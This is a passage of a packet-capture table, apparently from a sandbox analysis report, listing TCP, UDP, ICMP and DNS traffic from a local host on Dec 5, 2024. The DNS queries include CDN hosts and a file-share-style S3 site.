Dec 5, 2024 22:17:20.038983107 CET	443	49886	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.039062977 CET	49885	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.039067984 CET	443	49885	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.039328098 CET	443	49886	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.039727926 CET	49886	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.039792061 CET	443	49886	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.039901018 CET	49886	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.045671940 CET	443	49887	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.045952082 CET	49887	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.045964003 CET	443	49887	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.046303034 CET	49887	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.046305895 CET	443	49887	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.087331057 CET	443	49886	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.104110003 CET	443	49883	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.104435921 CET	49883	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.104455948 CET	443	49883	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.104898930 CET	49883	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.104903936 CET	443	49883	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.384964943 CET	443	49888	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.385435104 CET	49888	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.385459900 CET	443	49888	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.385710001 CET	49888	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.385716915 CET	443	49888	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.401070118 CET	443	49889	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.401360035 CET	49889	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.401380062 CET	443	49889	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.401756048 CET	443	49889	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.402082920 CET	49889	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.402156115 CET	443	49889	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.402230978 CET	49889	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.443330050 CET	443	49889	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.444689989 CET	443	49884	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.444741964 CET	443	49884	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.444799900 CET	49884	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.444943905 CET	49884	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.444957018 CET	443	49884	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.444968939 CET	49884	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.444973946 CET	443	49884	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.447648048 CET	49890	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.447671890 CET	443	49890	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.447756052 CET	49890	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.447902918 CET	49890	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.447915077 CET	443	49890	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.473014116 CET	443	49885	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.473063946 CET	443	49885	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.473117113 CET	49885	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.473261118 CET	49885	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.473277092 CET	443	49885	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.473288059 CET	49885	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.473293066 CET	443	49885	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.473727942 CET	443	49886	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.473790884 CET	443	49886	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.473830938 CET	49886	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.474786997 CET	49886	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.474792957 CET	443	49886	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.476130009 CET	49891	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.476159096 CET	443	49891	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.476213932 CET	49891	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.476334095 CET	49891	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.476346970 CET	443	49891	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.480673075 CET	443	49887	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.480745077 CET	443	49887	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.480819941 CET	49887	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.481134892 CET	49887	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.481138945 CET	443	49887	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.483623981 CET	49892	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.483654976 CET	443	49892	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.483742952 CET	49892	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.483844995 CET	49892	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.483859062 CET	443	49892	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.538708925 CET	443	49883	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.538764954 CET	443	49883	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.538813114 CET	49883	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.538949013 CET	49883	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.538965940 CET	443	49883	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.538976908 CET	49883	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.538981915 CET	443	49883	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.540935993 CET	49893	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.540965080 CET	443	49893	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.541034937 CET	49893	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.541168928 CET	49893	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.541182041 CET	443	49893	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.841325045 CET	443	49888	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.841388941 CET	443	49888	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.841556072 CET	49888	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.841626883 CET	49888	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.841639042 CET	443	49888	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.841649055 CET	49888	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.841654062 CET	443	49888	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.844141006 CET	49894	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.844156027 CET	443	49894	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.844230890 CET	49894	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.844384909 CET	49894	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.844394922 CET	443	49894	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.883161068 CET	443	49889	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.883187056 CET	443	49889	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.883204937 CET	443	49889	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.883344889 CET	49889	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:20.883372068 CET	443	49889	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:20.883558989 CET	49889	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:21.061096907 CET	443	49889	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:21.061111927 CET	443	49889	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:21.061312914 CET	49889	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:21.061322927 CET	443	49889	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:21.061364889 CET	49889	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:21.075087070 CET	443	49889	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:21.075170994 CET	443	49889	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:21.075262070 CET	49889	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:21.075262070 CET	49889	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:21.075372934 CET	49889	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:21.075385094 CET	443	49889	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.214035034 CET	443	49890	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.214183092 CET	443	49892	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.214586020 CET	49890	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.214605093 CET	443	49890	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.215019941 CET	49890	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.215023994 CET	443	49890	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.215219975 CET	49892	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.215236902 CET	443	49892	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.215553999 CET	49892	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.215559006 CET	443	49892	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.254904032 CET	443	49893	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.256719112 CET	49893	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.256733894 CET	443	49893	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.257036924 CET	49893	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.257040977 CET	443	49893	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.362853050 CET	443	49891	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.363323927 CET	49891	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.363336086 CET	443	49891	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.363604069 CET	49891	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.363610029 CET	443	49891	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.602897882 CET	443	49894	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.603466988 CET	49894	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.603492022 CET	443	49894	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.603930950 CET	49894	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.603935957 CET	443	49894	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.649641991 CET	443	49892	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.649687052 CET	443	49892	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.649761915 CET	49892	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.649928093 CET	49892	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.649939060 CET	443	49892	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.649946928 CET	49892	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.649950981 CET	443	49892	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.650254965 CET	443	49890	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.650299072 CET	443	49890	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.650352001 CET	49890	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.650507927 CET	49890	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.650516033 CET	443	49890	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.650528908 CET	49890	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.650532961 CET	443	49890	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.653218985 CET	49895	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.653253078 CET	443	49895	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.653330088 CET	49895	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.653333902 CET	49896	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.653367043 CET	443	49896	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.653414011 CET	49896	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.653474092 CET	49895	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.653490067 CET	443	49895	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.653556108 CET	49896	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.653573036 CET	443	49896	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.689474106 CET	443	49893	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.689536095 CET	443	49893	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.689631939 CET	49893	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.689807892 CET	49893	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.689816952 CET	443	49893	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.689832926 CET	49893	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.689837933 CET	443	49893	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.691724062 CET	49897	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.691762924 CET	443	49897	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.691854000 CET	49897	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.691971064 CET	49897	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.691982985 CET	443	49897	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.796731949 CET	443	49891	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.796786070 CET	443	49891	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.796924114 CET	49891	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.796948910 CET	49891	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.796964884 CET	443	49891	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.796974897 CET	49891	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.796979904 CET	443	49891	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.798948050 CET	49898	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.798962116 CET	443	49898	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:22.799073935 CET	49898	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.799227953 CET	49898	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:22.799240112 CET	443	49898	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:23.037400961 CET	443	49894	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:23.037493944 CET	443	49894	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:23.037595034 CET	49894	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:23.037713051 CET	49894	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:23.037723064 CET	443	49894	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:23.037731886 CET	49894	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:23.037735939 CET	443	49894	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:23.040294886 CET	49899	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:23.040330887 CET	443	49899	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:23.040400982 CET	49899	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:23.040601969 CET	49899	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:23.040613890 CET	443	49899	13.107.246.63	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 5, 2024 22:15:58.860760927 CET	53	56467	1.1.1.1	192.168.2.4
Dec 5, 2024 22:15:58.877876997 CET	53	59397	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:01.809036016 CET	53	49690	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:02.985518932 CET	56154	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:02.985632896 CET	64257	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:03.123218060 CET	53	64257	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:03.125154972 CET	53	56154	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:03.908236980 CET	57154	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:03.908447027 CET	64894	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:04.215754032 CET	53	57154	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:04.228898048 CET	53	64894	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:06.059051037 CET	50718	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:06.059051037 CET	52754	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:06.197540045 CET	53	50718	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:06.297060013 CET	53	52754	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:11.588860989 CET	65167	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:11.589035034 CET	65109	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:11.968218088 CET	53	65109	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:11.986188889 CET	53	65167	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:13.344314098 CET	49806	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:13.344315052 CET	53752	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:13.484050035 CET	53	53752	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:13.484802008 CET	53	49806	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:18.643731117 CET	53	60245	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:19.478195906 CET	63300	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:19.478415966 CET	61724	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:19.798154116 CET	53	63300	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:19.799047947 CET	53	61724	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:23.295079947 CET	60643	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:23.295212030 CET	62380	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:23.295696974 CET	58922	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:23.295850039 CET	56077	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:23.296175003 CET	59786	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:23.296308041 CET	62971	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:23.435632944 CET	53	60643	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:23.435645103 CET	53	62380	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:23.435800076 CET	53	58922	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:23.436111927 CET	53	62971	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:23.436124086 CET	53	56077	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:23.437258005 CET	53	59786	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:25.511033058 CET	56000	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:25.511130095 CET	58307	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:25.565118074 CET	65277	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:25.565506935 CET	64513	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:25.648277044 CET	53	56000	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:25.648384094 CET	53	58307	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:25.702406883 CET	53	65277	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:25.704305887 CET	53	64513	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:27.400530100 CET	53284	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:27.400692940 CET	49593	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:27.417635918 CET	49964	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:27.417785883 CET	60112	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:27.537935972 CET	53	49593	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:27.538170099 CET	53	53284	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:27.555154085 CET	53	60112	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:27.555172920 CET	53	49964	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:31.895247936 CET	51443	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:31.895587921 CET	52045	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:32.032670975 CET	53	51443	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:32.032787085 CET	53	52045	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:37.428833961 CET	53	60637	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:48.213864088 CET	55018	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:48.214023113 CET	51835	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:48.614883900 CET	53	55018	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:48.614907980 CET	53	51835	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:51.974020004 CET	53439	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:51.974208117 CET	54892	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:51.978786945 CET	58825	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:51.978951931 CET	63547	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:52.116748095 CET	53	58825	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:52.117897987 CET	53	63547	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:52.436435938 CET	53	54892	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:54.502474070 CET	50272	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:54.502633095 CET	59857	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:54.830602884 CET	53	59857	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:56.886743069 CET	61442	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:56.886929035 CET	62164	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:58.674942970 CET	53	61438	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:59.655397892 CET	62171	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:59.655585051 CET	59694	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:16:59.793087959 CET	53	62171	1.1.1.1	192.168.2.4
Dec 5, 2024 22:16:59.879292965 CET	53	59694	1.1.1.1	192.168.2.4
Dec 5, 2024 22:17:00.008896112 CET	53	56227	1.1.1.1	192.168.2.4
Dec 5, 2024 22:17:02.711798906 CET	64740	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:17:02.711962938 CET	55436	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:17:02.736687899 CET	59073	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:17:02.736967087 CET	52644	53	192.168.2.4	1.1.1.1
Dec 5, 2024 22:17:02.848781109 CET	53	64740	1.1.1.1	192.168.2.4
Dec 5, 2024 22:17:02.849034071 CET	53	55436	1.1.1.1	192.168.2.4
Dec 5, 2024 22:17:02.874706984 CET	53	52644	1.1.1.1	192.168.2.4
Dec 5, 2024 22:17:16.306272030 CET	53	65335	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 5, 2024 22:16:06.297131062 CET	192.168.2.4	1.1.1.1	c223	(Port unreachable)	Destination Unreachable
Dec 5, 2024 22:16:59.879384041 CET	192.168.2.4	1.1.1.1	c265	(Port unreachable)	Destination Unreachable
Dec 5, 2024 22:17:05.446177006 CET	192.168.2.4	1.1.1.1	c2dc	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 5, 2024 22:16:02.985518932 CET	192.168.2.4	1.1.1.1	0x522e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:02.985632896 CET	192.168.2.4	1.1.1.1	0x172e	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 5, 2024 22:16:03.908236980 CET	192.168.2.4	1.1.1.1	0x7ac4	Standard query (0)	www.freelancer.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:03.908447027 CET	192.168.2.4	1.1.1.1	0x7169	Standard query (0)	www.freelancer.com	65	IN (0x0001)	false
Dec 5, 2024 22:16:06.059051037 CET	192.168.2.4	1.1.1.1	0xe459	Standard query (0)	www.google.com.bn	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:06.059051037 CET	192.168.2.4	1.1.1.1	0x59c	Standard query (0)	www.google.com.bn	65	IN (0x0001)	false
Dec 5, 2024 22:16:11.588860989 CET	192.168.2.4	1.1.1.1	0x2c05	Standard query (0)	fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:11.589035034 CET	192.168.2.4	1.1.1.1	0x3ee	Standard query (0)	fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com	65	IN (0x0001)	false
Dec 5, 2024 22:16:13.344314098 CET	192.168.2.4	1.1.1.1	0x7072	Standard query (0)	hcaptcha.com	65	IN (0x0001)	false
Dec 5, 2024 22:16:13.344315052 CET	192.168.2.4	1.1.1.1	0x1d4e	Standard query (0)	hcaptcha.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:19.478195906 CET	192.168.2.4	1.1.1.1	0x8bb4	Standard query (0)	es.ineffable9.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:19.478415966 CET	192.168.2.4	1.1.1.1	0x968d	Standard query (0)	es.ineffable9.com	65	IN (0x0001)	false
Dec 5, 2024 22:16:23.295079947 CET	192.168.2.4	1.1.1.1	0xaa7a	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:23.295212030 CET	192.168.2.4	1.1.1.1	0xab71	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 5, 2024 22:16:23.295696974 CET	192.168.2.4	1.1.1.1	0x5063	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:23.295850039 CET	192.168.2.4	1.1.1.1	0xb168	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 5, 2024 22:16:23.296175003 CET	192.168.2.4	1.1.1.1	0x9a42	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:23.296308041 CET	192.168.2.4	1.1.1.1	0x7732	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 5, 2024 22:16:25.511033058 CET	192.168.2.4	1.1.1.1	0x1c22	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:25.511130095 CET	192.168.2.4	1.1.1.1	0xff5c	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 5, 2024 22:16:25.565118074 CET	192.168.2.4	1.1.1.1	0x2ec	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:25.565506935 CET	192.168.2.4	1.1.1.1	0xd4cb	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 5, 2024 22:16:27.400530100 CET	192.168.2.4	1.1.1.1	0x19ae	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 22:16:27.400692940 CET	192.168.2.4	1.1.1.1	0xf893	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 5, 2024 22:16:27.417635918 CET	192.168.2.4	1.1.1.1	0xbf9c	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
